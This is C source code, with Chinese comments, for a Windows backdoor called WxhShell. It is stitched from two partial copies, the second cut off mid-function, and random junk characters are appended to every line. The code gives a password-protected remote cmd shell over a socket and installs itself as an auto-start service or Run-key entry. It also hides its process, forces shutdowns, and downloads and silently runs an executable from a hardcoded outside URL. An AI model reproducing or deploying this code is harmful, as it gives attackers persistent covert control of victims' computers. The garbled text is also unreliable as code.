    closesocket(wsh); "IA :,j.#g  
    ExitThread(0); \T:*tgU  
    } <KEVA?0>  
    break; 1Pp2wpD4iC  
    } " Z2D@l  
  // 关机 Gl]z@ZXWIw  
  case 'd': { gnWEsA\!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G]k+0&X  
    if(Boot(SHUTDOWN)) 6Z>G%yK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Re{j{~s  
    else { 9.^2CM6l  
    closesocket(wsh); QTmMj@R&(  
    ExitThread(0); /$=<RUE  
    } qo!6)Z  
    break; ?C`&*+  
    } E06)&tF  
  // 获取shell UPGS/Xs]1  
  case 's': { s)-O{5;U  
    CmdShell(wsh); pkEx.R)  
    closesocket(wsh); Y$<p_X,  
    ExitThread(0); QnH;+k ln  
    break; 0wpGIT!2  
  } mXK7y.9\  
  // 退出 j|DjO?._'  
  case 'x': { #8CeTR23cw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d]I3zS IC  
    CloseIt(wsh); i~i ?M)  
    break; >mUSRf4  
    } lDVw2J'p  
  // 离开 }Q-%ij2  
  case 'q': { ^tRy6zG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l", X  
    closesocket(wsh); 16|miK[@  
    WSACleanup(); iL8:I)z  
    exit(1); n h&[e  
    break; CSVL,(Uw  
        } <gLq?~e|A  
  } V: P   
  } ]r@CmwC  
$l/w.z  
  // 提示信息 %Y-KjSs+l  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =`/GB T$  
} ^CfWLL& c  
  } ,wB)hp  
L 4Sa,ZL  
  return; @E%f AC  
} -Zfq:Kr  
`6FH@" |I  
// shell模块句柄 f =kt0  
int CmdShell(SOCKET sock) [t+qYe8  
{ P,*yuF|bk  
STARTUPINFO si; = 6.i.(L_S  
ZeroMemory(&si,sizeof(si)); WJBwo%J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dCO7"/IHW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >7(7  
PROCESS_INFORMATION ProcessInfo; ['DYP-1J  
char cmdline[]="cmd"; fIii  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }S=m: VKH  
  return 0; @ev8"JZ1  
} AVi,+n  
Xp?WoC N  
// 自身启动模式 m* rw?nLZ  
int StartFromService(void) @M=\u-jJ.  
{ m.&"D> \t  
typedef struct 2bt).gGm  
{ +O?`uV  
  DWORD ExitStatus; 4cZlQ3OE.  
  DWORD PebBaseAddress; ,ek0)z.  
  DWORD AffinityMask; JXqwy^f  
  DWORD BasePriority;  XM<  
  ULONG UniqueProcessId; 8ps1Q2|  
  ULONG InheritedFromUniqueProcessId; >d<tcaB  
}   PROCESS_BASIC_INFORMATION; <hB~|a<#  
9HG"}CGZP  
PROCNTQSIP NtQueryInformationProcess; nV>=n,+s"  
0ra+MQBg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I7?s+vyds  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s&D>'J  
|l673FcJ  
  HANDLE             hProcess; B/gI~e0  
  PROCESS_BASIC_INFORMATION pbi; :r+F95e  
J  7]LMw7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2|D<0d#W  
  if(NULL == hInst ) return 0; ,.TwM;w=  
C3-I5q(V]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tr$d?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O_^ uLp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^)S<Ha  
@i=_y+|d_  
  if (!NtQueryInformationProcess) return 0; F0tx.]uS  
a~A"uLBR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g<s;uRA4O9  
  if(!hProcess) return 0; 0khAi|PY  
drd5o Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uYMH5Om+i  
=aCd,4B}  
  CloseHandle(hProcess); 4ad-'  
mExJ--}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #bCzWg  
if(hProcess==NULL) return 0; ea6`%,lF~  
n+w$'l  
HMODULE hMod; WlRaD%Q  
char procName[255]; #(1R:z\:  
unsigned long cbNeeded; `(VVb@:o  
*#c^.4$'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M(#]NTr ~4  
YnW,6U['{g  
  CloseHandle(hProcess); eDL0Vw  
g#r,u5<*?  
if(strstr(procName,"services")) return 1; // 以服务启动 {IT;g9x  
31{) ~8  
  return 0; // 注册表启动 C)|#z/"  
} KJCi4O&  
?jH u,  
// 主模块 v.{I^=  
int StartWxhshell(LPSTR lpCmdLine) uV\~2#o$_  
{ f\c%G=y  
  SOCKET wsl; 8rM1kOCf  
BOOL val=TRUE; @h)X3X  
  int port=0; j\TS:F^z  
  struct sockaddr_in door; Xf*}V+&WN  
*@[N~:z/  
  if(wscfg.ws_autoins) Install(); p0@l581  
{^6<Ohe4j  
port=atoi(lpCmdLine); _v +At;Y  
a.B<W9$`  
if(port<=0) port=wscfg.ws_port; {z*`* O@  
8Lh[>|~=  
  WSADATA data; -< }#ImTN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jU_#-<'r  
L; 'C5#GN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^_XV}&7Q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QI{<q<  
  door.sin_family = AF_INET; _[8sL^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $[g8j`or!  
  door.sin_port = htons(port); <:I]0|[  
EV|L~^Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;1L7+.A  
closesocket(wsl); A S]jJc^  
return 1; D}L4uz?  
} \!!1o+#1j  
0;:AT|U/d  
  if(listen(wsl,2) == INVALID_SOCKET) { pb}4{]sI  
closesocket(wsl); &1M#;rE;D#  
return 1; k{ibD5B  
} q-4#)EnW  
  Wxhshell(wsl); T8\%+3e.  
  WSACleanup(); # PZBh  
kYU!6t1  
return 0; TTm  
D0@d}N  
} ]R6Z(^XT,E  
vH/ Y]Am  
// 以NT服务方式启动 O*-sSf   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^=Egf?|[  
{  :IX_}|  
DWORD   status = 0;  cvO;xR  
  DWORD   specificError = 0xfffffff; <G#z;]N  
nQM7@"R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; un(fr7NW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; q($fl7}Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; eW zyydl  
  serviceStatus.dwWin32ExitCode     = 0; r!HB""w  
  serviceStatus.dwServiceSpecificExitCode = 0; Uiu9o]n  
  serviceStatus.dwCheckPoint       = 0; V SUz+W  
  serviceStatus.dwWaitHint       = 0; 2~q(?wY  
R4Si{J*O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i*ji   
  if (hServiceStatusHandle==0) return; ?Qdp#K]WX  
]WZi +  
status = GetLastError(); .}DL%E`n  
  if (status!=NO_ERROR) 4&'_~qU  
{ atWB*kqI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &{(8EvuDd  
    serviceStatus.dwCheckPoint       = 0; ~7"6Y ]  
    serviceStatus.dwWaitHint       = 0; ~#V1Gunq  
    serviceStatus.dwWin32ExitCode     = status; BRGTCR  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0q:g Dc6z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >W?7a:#,  
    return; 9Qhk~^ngg  
  } :R9 DJh\  
/7-qb^V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; AlQ  
  serviceStatus.dwCheckPoint       = 0; B(U0 ~{7a  
  serviceStatus.dwWaitHint       = 0; }Q%fY&#(bp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8I|2yvhP  
} |q*s)8  
)uIH onXU  
// 处理NT服务事件,比如:启动、停止 c0W4<(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dI|`"jl#  
{ vV+>JM6<K  
switch(fdwControl) 'ktWKW$ D  
{ O4w:BWVsn  
case SERVICE_CONTROL_STOP: ; #^Jy#)  
  serviceStatus.dwWin32ExitCode = 0; }^ G&n';J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5N4[hQrVJ  
  serviceStatus.dwCheckPoint   = 0; w-(^w9_e  
  serviceStatus.dwWaitHint     = 0; V;SXa|,  
  { x8wal[6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,1g*0W^  
  } 0A>Fl*  
  return; 7+^4v(s  
case SERVICE_CONTROL_PAUSE: b1`(f"&l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4<QS ot  
  break; lg!{?xM  
case SERVICE_CONTROL_CONTINUE: Pw_[{LL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O`W&`B(*k  
  break; j2"Y{6c  
case SERVICE_CONTROL_INTERROGATE: b(McH*_8e  
  break; GDj ViAFm  
}; 9XPQ1LSx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !%_H1jk  
} ua!g}m~  
h2C1'+Q{9  
// 标准应用程序主函数 0kB!EJ<OdG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,-[dr|.  
{ "3Z<V8xB  
6X.lncE@p  
// 获取操作系统版本 !rMl" Y[  
OsIsNt=GetOsVer(); 4$<-3IP,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^>fjURR  
7,N>u8cTh  
  // 从命令行安装 #Zy-X_r  
  if(strpbrk(lpCmdLine,"iI")) Install(); DG $._  
d^<a)>5h  
  // 下载执行文件 ,Cckp! 6  
if(wscfg.ws_downexe) { wf8GH}2A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -O=a"G=  
  WinExec(wscfg.ws_filenam,SW_HIDE); (iZE}qf7 g  
} X@ Gm:6  
I=3e@aTZ,  
if(!OsIsNt) { uY;2tZldf=  
// 如果时win9x,隐藏进程并且设置为注册表启动 {%;KkC8=R  
HideProc(); jW-j+ WGSM  
StartWxhshell(lpCmdLine); (SlrV8;  
} gB?~!J?  
else ~CB6+t>  
  if(StartFromService()) iEf6oM  
  // 以服务方式启动 Eb<iR)e H=  
  StartServiceCtrlDispatcher(DispatchTable); = ?hx+-'  
else ]8XY "2b  
  // 普通方式启动 vQ}'4i8(  
  StartWxhshell(lpCmdLine); fYzOT, c  
yEfV8aY'*  
return 0; |,ZmRW^2K  
} {m/\AG)1I  
hL,+wJ+A  
D~xU r )E  
* QF3l0&  
=========================================== <k^P>Irb3t  
$MmCh&V  
.qioEqK8!y  
ReCmv/AE  
d&p]O  
aO]0|<2 j  
" kxg]sr"  
'`Smg3T!~S  
#include <stdio.h> {t$ vsR  
#include <string.h> Odr@9MJ  
#include <windows.h> Upr:sB  
#include <winsock2.h> 6 1Nj&1Ze  
#include <winsvc.h> "kKIVlC  
#include <urlmon.h> O]n"aAu@  
qYW{$K  
#pragma comment (lib, "Ws2_32.lib") =Po!\[SBU  
#pragma comment (lib, "urlmon.lib") OKp(A  
sM?bUg0w  
#define MAX_USER   100 // 最大客户端连接数 1a)NM#  
#define BUF_SOCK   200 // sock buffer q($lL~Ls  
#define KEY_BUFF   255 // 输入 buffer JqO#W1h~R|  
TIV1?S  
#define REBOOT     0   // 重启 PZF>ia}  
#define SHUTDOWN   1   // 关机 d{f3R8~Q.  
<)zh2UI  
#define DEF_PORT   5000 // 监听端口 B(mxW8y  
EO,;^RtB  
#define REG_LEN     16   // 注册表键长度 A`7uw|uO$  
#define SVC_LEN     80   // NT服务名长度 'r%`(Z{~  
daaEN(  
// 从dll定义API QY2!.a^q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sa`7_KB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $.}fL;BzVz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ih?_ fW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +0=u]  
EvMhNq~y5  
// wxhshell配置信息 Oah}7!a)  
struct WSCFG { S zOB{  
  int ws_port;         // 监听端口 :rb<mg[  
  char ws_passstr[REG_LEN]; // 口令 P sD+?  
  int ws_autoins;       // 安装标记, 1=yes 0=no "RH2%  
  char ws_regname[REG_LEN]; // 注册表键名 _VR Sdr5  
  char ws_svcname[REG_LEN]; // 服务名 !GMb~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n]x4twZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JBa=R^k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YizJT0$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9oP8| <+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J?-"]s`J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F]W'spF,  
YF @'t~_Z  
}; !>/U6h,_  
i6r%;ueLb  
// default Wxhshell configuration Xt /T0.I  
struct WSCFG wscfg={DEF_PORT, iLy }G7h  
    "xuhuanlingzhe", 9c806>]U^  
    1, '=x   
    "Wxhshell", S,vrz!'>A  
    "Wxhshell", TD,W*(b  
            "WxhShell Service", # 3uXgZi  
    "Wrsky Windows CmdShell Service", Nm<3bd  
    "Please Input Your Password: ", Rcf_31 L  
  1, W k'()N  
  "http://www.wrsky.com/wxhshell.exe", :gb7Py'C  
  "Wxhshell.exe" @5zL4n@w  
    }; [S":~3^B6  
>E?626*  
// 消息定义模块 W)V"QrFK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <!&nyuSz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PBr-< J  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; kAf:_0?6  
char *msg_ws_ext="\n\rExit."; PP&AF?C  
char *msg_ws_end="\n\rQuit."; GFx >xQk  
char *msg_ws_boot="\n\rReboot..."; v4(!~S  
char *msg_ws_poff="\n\rShutdown..."; Gw3|"14  
char *msg_ws_down="\n\rSave to "; Te2XQU2,F  
ZSYXUFz  
char *msg_ws_err="\n\rErr!"; c3!d4mC:  
char *msg_ws_ok="\n\rOK!"; g`gH]W FcG  
F%6al,8P  
char ExeFile[MAX_PATH]; PR~ho&!  
int nUser = 0; uI-te~]  
HANDLE handles[MAX_USER]; "sf8~P9qy  
int OsIsNt; rO 6oVz#x  
;04doub  
SERVICE_STATUS       serviceStatus; sxl29y^*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `#2}[D   
2#ha Icm"  
// 函数声明 ;hmy7M1%  
int Install(void); fT/;TK>z>  
int Uninstall(void); 2M= gpy  
int DownloadFile(char *sURL, SOCKET wsh); _7]* 5Pxo  
int Boot(int flag); j* g5f  
void HideProc(void); WU{G_Fqaz  
int GetOsVer(void); sBq @W4  
int Wxhshell(SOCKET wsl); qJVW :$1q  
void TalkWithClient(void *cs); xc8MOm  
int CmdShell(SOCKET sock); F^&_O*"  
int StartFromService(void); .!,T> :R  
int StartWxhshell(LPSTR lpCmdLine); zfO0+fMH  
(<(8(} x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2>.B*P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r.[!n)*  
xgL*O>l)  
// 数据结构和表定义 @1gX>!  
SERVICE_TABLE_ENTRY DispatchTable[] = U9IN#;W  
{ Gu|}ax"  
{wscfg.ws_svcname, NTServiceMain}, p-y,OG  
{NULL, NULL} nod?v2%   
}; -O\!IXG^  
a*NcL(OC  
// 自我安装 6N:fq  
int Install(void) `K~300-hOb  
{ ;->(hFJt  
  char svExeFile[MAX_PATH]; 5sEq`P}5  
  HKEY key; %gJf&A  
  strcpy(svExeFile,ExeFile); zm9>"(H  
|9jeOV}/  
// 如果是win9x系统,修改注册表设为自启动 :|M0n%-X  
if(!OsIsNt) { z(aei(U=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y0M^oLx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b(I-0<  
  RegCloseKey(key); (m\PcF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HzF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %w=*4!NWb  
  RegCloseKey(key); O]~cv^  
  return 0; VW I{ wC  
    } =\ iV=1iB  
  } 6^s=25>p  
} :7<spd(%"  
else { D^]7/w:$-  
{2}O\A  
// 如果是NT以上系统,安装为系统服务 7pMrYIP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V?t^ J7{'  
if (schSCManager!=0) YbND2 i  
{ gb|C592R5C  
  SC_HANDLE schService = CreateService w{UVo1r:  
  ( C!]hu)E  
  schSCManager, 35?et-=w  
  wscfg.ws_svcname, s|dcO  
  wscfg.ws_svcdisp, 0[7\p\Q  
  SERVICE_ALL_ACCESS, w [D9Q=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0ym>Hbax)  
  SERVICE_AUTO_START, B4r4PSB>!  
  SERVICE_ERROR_NORMAL, .v9#|d d+  
  svExeFile, >93vMk~hU  
  NULL, MVs@~=  
  NULL, p2GkI/6)uu  
  NULL, =66dxU?}  
  NULL, '0[D-jEr  
  NULL E;*#fD~@  
  ); SHOg,#mV  
  if (schService!=0) DFQp<Eq]7  
  { y9{KBM%h  
  CloseServiceHandle(schService); ?"N, do  
  CloseServiceHandle(schSCManager);  btJ:Wt}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $5jQm,V$K  
  strcat(svExeFile,wscfg.ws_svcname); >Olg lUzA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -Id4P _y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y$Sn3_9 V  
  RegCloseKey(key); 3~ ;LNi  
  return 0; -uIu-a]  
    } L%}k.)yev  
  } [KLs} ~H  
  CloseServiceHandle(schSCManager); `|P fa  
}  5f(yF  
} n#Q;b Sw  
O; 7`*}m  
return 1; ?{NP3  
} "-88bF~  
I} m\(TS-"  
// 自我卸载 Z,^`R] 9  
int Uninstall(void) OS;qb:;  
{ _HW~sz|  
  HKEY key; epI&R)]   
@e8b'w3  
if(!OsIsNt) { 5I`j'j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3} @3pVS  
  RegDeleteValue(key,wscfg.ws_regname); c>#T\AEkF  
  RegCloseKey(key); jNhiY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h.d-a/  
  RegDeleteValue(key,wscfg.ws_regname); y3 {'s>O6  
  RegCloseKey(key); r: ]t9y>$<  
  return 0; HT0VdvLw  
  } thy)J.<J  
} sG[v vm  
} T2<?4^xN  
else { {VtmQU? cJ  
cVYDO*N2T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B +[ri&6X\  
if (schSCManager!=0) /'k4NXnW3  
{ [-5%[ty9X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Sio^FOTD  
  if (schService!=0) y.(Yh1  
  { iZ}Afj  
  if(DeleteService(schService)!=0) { cH%qoHgx  
  CloseServiceHandle(schService); M3P\1  
  CloseServiceHandle(schSCManager); yB0xa%  
  return 0; 3tzb@T  
  } .sI*\@w.  
  CloseServiceHandle(schService); VPW@y  
  } 7DZxr Vw  
  CloseServiceHandle(schSCManager); .< 7M4Z  
} @SeInew;`l  
} oS6dcJHf  
UKX9C"-5v  
return 1; nX~Qt%  
} ntR@[)K  
kZ7\zbN>  
// 从指定url下载文件 $;7,T~{  
int DownloadFile(char *sURL, SOCKET wsh) w=Ai?u  
{ 4efIw<1_  
  HRESULT hr; $/*1 9 e~  
char seps[]= "/"; HYU-F_|N=  
char *token; uq?((  
char *file; }p,#rOX:A  
char myURL[MAX_PATH]; (K9pr>le  
char myFILE[MAX_PATH]; \OPJ*/U  
x-27rGN  
strcpy(myURL,sURL); &O8vI ,M  
  token=strtok(myURL,seps); riw0w  
  while(token!=NULL) 7q\&  
  { RP[^1  
    file=token; 2E5n07,  
  token=strtok(NULL,seps); +g %h,@  
  } !|4fww  
cxX/ b ,  
GetCurrentDirectory(MAX_PATH,myFILE); F{*{f =E!B  
strcat(myFILE, "\\"); "#}Uh  
strcat(myFILE, file); Q1f)uwh  
  send(wsh,myFILE,strlen(myFILE),0); (bhMo^3/*  
send(wsh,"...",3,0); %G6Q+LMwm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %!DdjC&5*  
  if(hr==S_OK) Ac^hZ.qPz  
return 0; N;Hoi8W  
else >A&D/k MO  
return 1; @}9*rWJIE  
3DjlX*  
} WxPu{N  
*^[m?3"W  
// 系统电源模块 @yV.Yx"p_  
int Boot(int flag) gn82_  
{ <&w(%<;  
  HANDLE hToken; zXX =WH  
  TOKEN_PRIVILEGES tkp; kXW5bR  
CE,0@%6F*  
  if(OsIsNt) { 78M%[7Cq<i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .X1xpi%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {ovt 6C  
    tkp.PrivilegeCount = 1; b'AA*v,b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &#/UWv}f 0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5>r2&72=  
if(flag==REBOOT) { `L~gERW#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lZ,w#sqbY  
  return 0; 3R|Ub G`  
} n[[2<s*YJ  
else { Y@(izC&h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GZxPh&BM?  
  return 0; GN1Q\8)o  
} %Z~0vwY  
  } &VPfI  
  else { (#e,tu  
if(flag==REBOOT) { ,"e n7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7a0T]  
  return 0; itYTV?bd  
} ]v2%hX  
else { cG)U01/"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C>NLZM T  
  return 0; F)8M9%g5m  
} shk yN  
} g9~QNA  
>DM^/EAG{  
return 1; iQd,xr  
} ^7Z#g0{^w  
2I[(UMI$7  
// win9x进程隐藏模块 z:1"d R   
void HideProc(void) R) ep1X^  
{ 6Pp3*O`/V  
%2@O,uCo@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?3#L?Cq  
  if ( hKernel != NULL ) }1kZF{KD<[  
  { >mAi/TZC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ew+>?a'&L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e6`g[Ap  
    FreeLibrary(hKernel); )U|0vr8:  
  } ~o8  
`g}po%k  
return; @|2sF  
} '"m-kor  
f]4j7K!e]  
// 获取操作系统版本 r}S>t~p:  
int GetOsVer(void) j^5VmG  
{ byJR6f  
  OSVERSIONINFO winfo; mYx6JU*`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =D3K})&  
  GetVersionEx(&winfo); B;64(Vsa8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9Zj9e  
  return 1; jp+s[rRc\{  
  else L#k`>Qn2  
  return 0; ]q`'l_O  
} cj;k{ Moc  
$Wn!vbL  
// 客户端句柄模块 @ JfQ}`  
int Wxhshell(SOCKET wsl) 'O^<i`8U]  
{ *";O_ :C!  
  SOCKET wsh; k0bDEz.X  
  struct sockaddr_in client; 1v~1?+a\2  
  DWORD myID; dy.U;  
.Lm0$o*`  
  while(nUser<MAX_USER) ){<qp  
{  9dCf@5]  
  int nSize=sizeof(client); 'H8b+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >F5E^DY  
  if(wsh==INVALID_SOCKET) return 1; ^k2g60]  
*{!E`),FX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e3.q8r  
if(handles[nUser]==0) M@]@1Q.p  
  closesocket(wsh); #z#`EBXV$6  
else v"YaMbu  
  nUser++; GdVrl[  
  } YH,u*.I^/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g1{2E<b 5  
rM0Idc.$&&  
  return 0; kInU,/R*  
} kXN8hU}iq  
R ~?9+  
// 关闭 socket yvCX is  
void CloseIt(SOCKET wsh) \AOHZ r  
{ \R[f< K%  
closesocket(wsh); ,1 ^IFBJ  
nUser--; K3^2;j1F Q  
ExitThread(0); LEd@""h  
} Gp0yRT.  
cT|aQM@iW  
// 客户端请求句柄 :>-&  
void TalkWithClient(void *cs) 7-Mm+4O9  
{ }B`T%(11=  
!B/5@P  
  SOCKET wsh=(SOCKET)cs; MLvd6tIv,  
  char pwd[SVC_LEN]; kYZj^tR  
  char cmd[KEY_BUFF]; HhB&vi  
char chr[1]; "IJ 9vXI  
int i,j; tjJi|  
av"dJm  
  while (nUser < MAX_USER) { |t6:4']  
z7!@^!r  
if(wscfg.ws_passstr) { UM}MK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2O(= 2X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z9 $1jC  
  //ZeroMemory(pwd,KEY_BUFF); G2yQHTbl  
      i=0; H~; s$!lG  
  while(i<SVC_LEN) { (R]b'3,E$  
n{"e8vQx  
  // 设置超时 u>*d^[zS  
  fd_set FdRead; %9OVw #P  
  struct timeval TimeOut; Ay|K>8z   
  FD_ZERO(&FdRead); ]$)U~)T iW  
  FD_SET(wsh,&FdRead); =gAn;~  
  TimeOut.tv_sec=8; &hnKBr(Lw  
  TimeOut.tv_usec=0; L=&dJpyfT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yq6:7<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,56objaE  
`Y,<[ Lnr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6& KcO:}-  
  pwd=chr[0]; ^WUG\@B  
  if(chr[0]==0xd || chr[0]==0xa) { e"cvo(}g  
  pwd=0; '_ l5Br73=  
  break; ~=t K17i  
  } r*g<A2g%  
  i++; /DX6Hkkj%  
    } MI,kKi  
ki ?ETC  
  // 如果是非法用户,关闭 socket 9+!"[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u}|+p+  
} {-l:F2i  
|3C5"R3ZGO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W3A9uk6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &Fh#otH_  
>JHQA1mX  
while(1) { )\+1*R|H}  
"H|hN  
  ZeroMemory(cmd,KEY_BUFF); lNx:_g:SrZ  
*n_7~ZX  
      // 自动支持客户端 telnet标准   J0 UF(  
  j=0; O^r,H,3S  
  while(j<KEY_BUFF) { j[|mC;y.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~m&q@ms&  
  cmd[j]=chr[0]; /-Y.A<ieN8  
  if(chr[0]==0xa || chr[0]==0xd) { 7gQ 2dp  
  cmd[j]=0; #\&64  
  break; 2}6StmE }  
  } ^q\9HBHT  
  j++; K?6#jT6#  
    } ]O0:0Z\  
@i(;}rx  
  // 下载文件 {7^D!lis  
  if(strstr(cmd,"http://")) { )KKmV6>b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B`?5G\7L  
  if(DownloadFile(cmd,wsh)) v4VP7h6uD)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z K6'wL!!I  
  else }TG=ZVi  
